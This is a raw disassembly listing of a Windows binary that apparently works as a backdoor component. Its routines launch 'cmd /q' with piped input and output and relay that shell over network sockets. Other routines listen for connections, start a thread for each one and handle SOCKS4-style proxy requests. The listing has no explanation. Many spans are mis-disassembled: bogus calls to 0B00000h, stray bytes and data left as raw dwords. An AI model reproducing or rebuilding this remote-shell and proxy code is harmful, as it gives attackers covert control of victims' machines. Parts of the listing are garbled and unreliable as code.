		dd 0E80043C4h, 45C6h, 3EB5959h,	0FF087D8Bh, 4D118415h
		dd 858D5000h, 0FFFFFBECh, 43C4AC68h, 0C3E85000h, 830000ACh
		dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh,	858D50C0h
		dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF873Ah, 8D14C483h
		dd 0FFFBEC85h, 0FFE850FFh, 59000044h, 8815FF57h, 53004D12h
		dd 128815FFh, 15FF004Dh, 4D1148h, 0E8B475FFh, 0FFFFA066h
		dd 35E85659h, 0E2006EEDh, 39C0335Bh, 0F042444h
		db 94h,	0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112D7	proc near		; CODE XREF: seg000:00410F70p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411428
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_44412C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4115FA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi ; dword_42707C
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411342
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C644
		call	sub_41581A
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41137C
; ---------------------------------------------------------------------------


loc_411342:				; CODE XREF: sub_4112D7+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4116AC
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi ; dword_42707C
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411383
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C644
		call	sub_41581A
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 0B00000h
		inc	eax


loc_41137C:				; CODE XREF: sub_4112D7+69j
		xor	eax, eax
		jmp	loc_411423
; ---------------------------------------------------------------------------


loc_411383:				; CODE XREF: sub_4112D7+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 0B00000h
		xor	ebp, [ebx]
		retn
; ---------------------------------------------------------------------------
		jz	short loc_4113DD
		dec	eax
		jz	short loc_4113D7
		dec	eax
		jz	short loc_4113C3
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C610
		call	sub_41581A
		pop	ecx
		pop	ecx
		jmp	short loc_4113F2
; ---------------------------------------------------------------------------


loc_4113C3:				; CODE XREF: sub_4112D7+D5j
		mov	edi, ds:dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi ; dword_4270AC
		push	ebx
		push	dword ptr [esi+10h]
		call	edi ; dword_4270AC
		jmp	short loc_4113F2
; ---------------------------------------------------------------------------


loc_4113D7:				; CODE XREF: sub_4112D7+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4113E1
; ---------------------------------------------------------------------------


loc_4113DD:				; CODE XREF: sub_4112D7+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4113E1:				; CODE XREF: sub_4112D7+104j
		call	near ptr 0B00000h
; ---------------------------------------------------------------------------
		dw 6A8Fh
		dd 876FF01h, 6EEC0FE8h
		db 0, 43h
; ---------------------------------------------------------------------------


loc_4113F2:				; CODE XREF: sub_4112D7+EAj
					; sub_4112D7+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_42706C
		call	edi ; dword_42706C
		push	dword ptr [esi+14h]
		call	edi ; dword_42706C
		push	dword ptr [esi+8]
		call	edi ; dword_42706C
		push	dword ptr [esi]
		call	edi ; dword_42706C
		push	dword ptr [esi+4]
		call	edi ; dword_42706C
		push	dword ptr [esi+0Ch]
		call	ds:dword_4D1288
		push	esi
		call	sub_41B961
		pop	ecx
		push	1
		pop	eax


loc_411423:				; CODE XREF: sub_4112D7+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4112D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411428	proc near		; CODE XREF: sub_4112D7+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411512
		mov	ebx, ds:dword_427100
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx ; dword_427100
		mov	edi, ds:dword_42706C
		test	eax, eax
		jnz	short loc_41148B
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C6F4
		jmp	short loc_4114AB
; ---------------------------------------------------------------------------


loc_41148B:				; CODE XREF: sub_411428+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx ; dword_427100
		test	eax, eax
		jnz	short loc_4114B3
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C6B4


loc_4114AB:				; CODE XREF: sub_411428+61j
		call	sub_41581A
		pop	ecx
		jmp	short loc_4114E1
; ---------------------------------------------------------------------------


loc_4114B3:				; CODE XREF: sub_411428+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411521
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi ; dword_42706C
		push	[ebp+var_8]
		call	edi ; dword_42706C
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411516
		push	offset unk_43C68C
		call	sub_4157A6


loc_4114E1:				; CODE XREF: sub_411428+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4114ED
		push	[ebp+var_4]
		call	edi ; dword_42706C


loc_4114ED:				; CODE XREF: sub_411428+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4114F8
		push	[ebp+var_8]
		call	edi ; dword_42706C


loc_4114F8:				; CODE XREF: sub_411428+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411501
		push	eax
		call	edi ; dword_42706C


loc_411501:				; CODE XREF: sub_411428+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41150B
		push	eax
		call	edi ; dword_42706C


loc_41150B:				; CODE XREF: sub_411428+DEj
		push	esi
		call	sub_41B961
		pop	ecx


loc_411512:				; CODE XREF: sub_411428+1Dj
		xor	eax, eax
		jmp	short loc_41151C
; ---------------------------------------------------------------------------


loc_411516:				; CODE XREF: sub_411428+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41151C:				; CODE XREF: sub_411428+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411521	proc near		; CODE XREF: sub_411428+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BC40
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, ds:dword_4270FC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi ; dword_4270FC
		push	eax
		push	ebx
		call	edi ; dword_4270FC
		push	eax
		call	near ptr 0B00000h
		int	8Dh		; used by BASIC	while in interpreter
		inc	ebp
		in	al, dx
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 0B00000h
		pusha
		test	eax, eax
		jz	short loc_4115DD
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	ds:dword_444128[eax], ecx
		call	ds:dword_42706C	; CloseHandle
		jmp	short loc_4115F3
; ---------------------------------------------------------------------------


loc_4115DD:				; CODE XREF: sub_411521+9Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C734
		call	sub_41581A
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4115F3:				; CODE XREF: sub_411521+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411521	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115FA	proc near		; DATA XREF: sub_4112D7+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411623:				; CODE XREF: sub_4115FA+8Fj
		call	ebx ; dword_4270E8
		test	eax, eax
		jz	short loc_41168B
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41165E


loc_411634:				; CODE XREF: sub_4115FA+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41164E
		cmp	dl, 0Dh
		jz	short loc_41164E
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41164E:				; CODE XREF: sub_4115FA+44j
					; sub_4115FA+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411634


loc_41165E:				; CODE XREF: sub_4115FA+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4D1240
		test	eax, eax
		jle	short loc_41168B
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_41168B:				; CODE XREF: sub_4115FA+2Dj
					; sub_4115FA+79j
		mov	esi, ds:dword_42708C
		call	esi ; dword_42708C
		cmp	eax, 6Dh
		jz	short loc_4116A7
		call	esi ; dword_42708C
		push	eax
		push	offset unk_43C774
		call	sub_41581A
		pop	ecx
		pop	ecx


loc_4116A7:				; CODE XREF: sub_4115FA+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4115FA	endp

; ---------------------------------------------------------------------------


loc_4116AC:				; DATA XREF: sub_4112D7+71o
		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+8]
		xor	esi, esi
		mov	[ebp-10h], ebx
		mov	[ebp-0Ch], ebx


loc_4116C5:				; CODE XREF: seg000:004116E5j
					; seg000:00411783j ...
		push	ebx
		lea	eax, [ebp+0Bh]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4D1208
		test	eax, eax
		jle	loc_4117CA
		cmp	[ebp-10h], ebx
		jbe	short loc_4116E7
		dec	dword ptr [ebp-10h]
		jmp	short loc_4116C5
; ---------------------------------------------------------------------------


loc_4116E7:				; CODE XREF: seg000:004116E0j
		mov	al, [ebp+0Bh]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4117AA
		cmp	al, 8
		mov	[ebp-0Ch], ebx
		jz	short loc_411757
		cmp	al, 7Fh
		jz	short loc_411757
		cmp	al, 3
		jnz	short near ptr loc_41170F+3
		push	ebx
		push	ebx
		call	near ptr 0B00000h


loc_41170F:				; CODE XREF: seg000:00411706j
		mov	al, ds:153C6CEBh
		jnz	short loc_411734
		xor	esi, esi
		mov	byte ptr [ebp-8], 20h
		mov	byte ptr [ebp-7], 58h
		mov	byte ptr [ebp-6], 58h
		mov	byte ptr [ebp-5], 58h
		mov	byte ptr [ebp-4], 0Dh
		mov	byte ptr [ebp-3], 0Ah
		push	6
		jmp	short loc_41176A
; ---------------------------------------------------------------------------


loc_411734:				; CODE XREF: seg000:00411714j
		mov	[ebp+esi-0DCh],	al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp-8], al
		pop	ecx
		jnz	short loc_41176B
		mov	byte ptr [ebp+esi-0DCh], 0Ah
		mov	byte ptr [ebp-7], 0Ah
		inc	esi
		push	2
		jmp	short loc_41176A
; ---------------------------------------------------------------------------


loc_411757:				; CODE XREF: seg000:004116FEj
					; seg000:00411702j
		cmp	esi, ebx
		jbe	short loc_411781
		dec	esi
		mov	byte ptr [ebp-8], 8
		mov	byte ptr [ebp-7], 20h
		mov	byte ptr [ebp-6], 8
		push	3


loc_41176A:				; CODE XREF: seg000:00411732j
					; seg000:00411755j
		pop	ecx


loc_41176B:				; CODE XREF: seg000:00411744j
		push	ebx
		lea	eax, [ebp-8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4D1240
		test	eax, eax
		jle	short loc_4117CA
		mov	al, [ebp+0Bh]


loc_411781:				; CODE XREF: seg000:00411759j
		cmp	al, 0Dh
		jnz	loc_4116C5
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 0B00000h
		xor	al, [ebp+332774C0h]
		imul	cl
		sbb	edi, edi
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4117AA:				; CODE XREF: seg000:004116F3j
		cmp	[ebp-0Ch], ebx
		jnz	short loc_4117BB
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4116C5
; ---------------------------------------------------------------------------


loc_4117BB:				; CODE XREF: seg000:004117ADj
		mov	dword ptr [ebp-10h], 0Ah
		mov	[ebp-0Ch], ebx
		jmp	loc_4116C5
; ---------------------------------------------------------------------------


loc_4117CA:				; CODE XREF: seg000:004116D7j
					; seg000:0041177Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4117CF:				; DATA XREF: seg000:004046FEo
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_4D11F0
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_4D1270
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_44412C[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_4D121C
		test	eax, eax
		jnz	loc_411971
		push	0Ah
		push	edi
		call	ds:dword_4D1218
		test	eax, eax
		jnz	loc_411971
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_432588
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4118AA
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4099D2
		add	esp, 14h


loc_4118AA:				; CODE XREF: seg000:00411888j
					; seg000:00411941j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_4D1284
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_43C820
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2D4h]
		push	19h
		push	eax
		call	sub_40B00E
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_444124[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_4119D4
		push	esi
		push	esi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_444134[ecx], eax
		jz	short loc_411951


loc_41193E:				; CODE XREF: seg000:0041194Fj
		cmp	[ebp-28h], esi
		jnz	loc_4118AA
		push	5
		call	ds:dword_427064	; Sleep
		jmp	short loc_41193E
; ---------------------------------------------------------------------------


loc_411951:				; CODE XREF: seg000:0041193Cj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_43C7E4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_4118AA
; ---------------------------------------------------------------------------


loc_411971:				; CODE XREF: seg000:0041184Aj
					; seg000:0041185Bj
		push	edi
		call	ds:dword_4D1288
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset dword_43C7B0
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4119B4
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4099D2
		add	esp, 14h


loc_4119B4:				; CODE XREF: seg000:00411992j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-3Ch]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		wait
		pop	edi
		pop	esi
		pop	ebx


loc_4119D4:				; DATA XREF: seg000:0041191Eo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_44412C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_4D11D8
		test	eax, eax
		jnz	short loc_411A55
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		cli


loc_411A55:				; CODE XREF: seg000:00411A3Bj
		push	ebx
		lea	eax, [ebp-4D0h]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4D1208
		test	eax, eax
		jg	short loc_411A86
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		push	ebp


loc_411A86:				; CODE XREF: seg000:00411A6Cj
		cmp	byte ptr [ebp-4D0h], 4
		jnz	loc_411C80
		cmp	byte ptr [ebp-4CFh], 1
		jnz	loc_411C80
		cmp	[ebp-44h], bl
		jz	short near ptr loc_411B1B+1
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short near ptr loc_411B1B+1
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		push	offset dword_43C8E8
		call	sub_41581A
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Dh
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4D1240
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h


loc_411B1B:				; CODE XREF: seg000:00411AA3j
					; seg000:00411AB9j
		mov	eax, ds:458D106Ah
		call	near ptr 19296B78h
		mov	eax, ds:8B660000h
		test	[edx], esi
		sti
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	83h
		dd 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah,	45C76602h
		dd 890002E8h, 15FFEC45h, 4D1270h, 0FF83F88Bh, 0FF5D75FFh
		dd 4D118415h, 0A8685000h, 0E80043C8h, 3CB2h, 40068h, 38858D00h
		dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0B9E85BFFh
		dd 830000A0h, 858D14C4h, 0FFFFFB30h, 50086A53h,	15FF36FFh
		dd 4D1240h, 15FF36FFh, 4D1288h,	0E80875FFh, 0FFFF977Eh
		dd 4DE85359h, 1E006EE4h, 6AE8458Dh, 0FF575010h,	4D119815h
		dd 0FFF88300h, 15FF5D75h, 4D1184h, 0C8646850h, 43E80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A04AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004D12h, 8815FF36h
		dd 0FF004D12h, 0FE80875h, 59FFFF97h, 0E3DEE853h, 68AC006Eh
		dd 400h, 0FB38858Dh, 5053FFFFh,	0FB309D88h, 85C6FFFFh
		dd 0FFFFFB31h, 9FFEE85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh
		dd 0FF50086Ah, 4015FF36h, 0FF004D12h, 39E85736h, 59000000h
		dd 15FF5759h, 4D1288h, 15FF36FFh, 4D1288h, 0E80875FFh
		dd 0FFFF96B2h, 81E85359h, 87006EE3h
; ---------------------------------------------------------------------------


loc_411C80:				; CODE XREF: seg000:00411A8Dj
					; seg000:00411A9Aj
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
; ---------------------------------------------------------------------------
		db 21h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_411CAE:				; CODE XREF: seg000:00411D5Dj
					; seg000:00411D8Dj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_411CC6:				; CODE XREF: seg000:00411CD4j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_411CD6
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_411CC6


loc_411CD6:				; CODE XREF: seg000:00411CCBj
		cmp	ecx, 1
		jnz	short loc_411CEB
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_411CEB:				; CODE XREF: seg000:00411CD9j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_4D11D8
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_4D10DC
		test	eax, eax
		jz	short loc_411D4B
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4D1208
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93


loc_411D4B:				; CODE XREF: seg000:00411D1Dj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D10DC
		test	eax, eax
		jz	loc_411CAE
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1208
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411CAE


loc_411D93:				; CODE XREF: seg000:00411D32j
					; seg000:00411D49j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
dword_411D98	dd 81EC8B55h, 87CECh, 8558B00h,	6A575653h, 58DB3301h, 0A9B9h
					; DATA XREF: seg000:00403BD8o
					; sub_40B9DD+106o
		dd 8DF28B00h, 0FFFC8CBDh, 26A53FFh, 85FFA5F3h, 0FFFFFE9Ch
		dd 4589026Ah, 0EC4589F0h, 89F84589h, 2A082h, 7015FF00h
		dd 8B004D12h, 0FFFE83F0h, 90685675h, 0FF000001h, 42706415h
		dd 289D3900h, 75FFFFFFh, 858D5323h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF7BBDE8h
		dd 14C483FFh, 0F888858Dh, 0E850FFFFh, 3982h, 0FE98B5FFh
		dd 0FBE8FFFFh, 59FFFF94h, 0C9E85359h, 8E006EE1h, 6AF0458Dh
		dd 0FFBF5004h, 6A0000FFh, 0FF565704h, 4D11D015h, 0EC458D00h
		dd 6A50046Ah, 0FF5657FBh, 4D11D015h, 98858B00h,	6AFFFFFEh
		dd 34C06910h, 53000002h, 412CB089h, 458D0044h, 0C5E850D4h
		dd 8300009Dh, 0C7660CC4h, 2D445h, 0FEA0B5FFh, 15FFFFFFh
		dd 4D11F0h, 0D6458966h,	6AD4458Dh, 89565010h, 15FFD85Dh
		dd 4D121Ch, 75FFF883h, 13886819h, 15FF0000h, 427064h, 0FE9C8DFFh
		dd 75FFFFFFh, 347E908h,	858D0000h, 0FFFFFC90h, 42907068h
		dd 0E5E85000h, 5900009Ch, 8959C33Bh, 4C75FC45h,	19068h
		dd 6415FF00h, 53004270h, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h
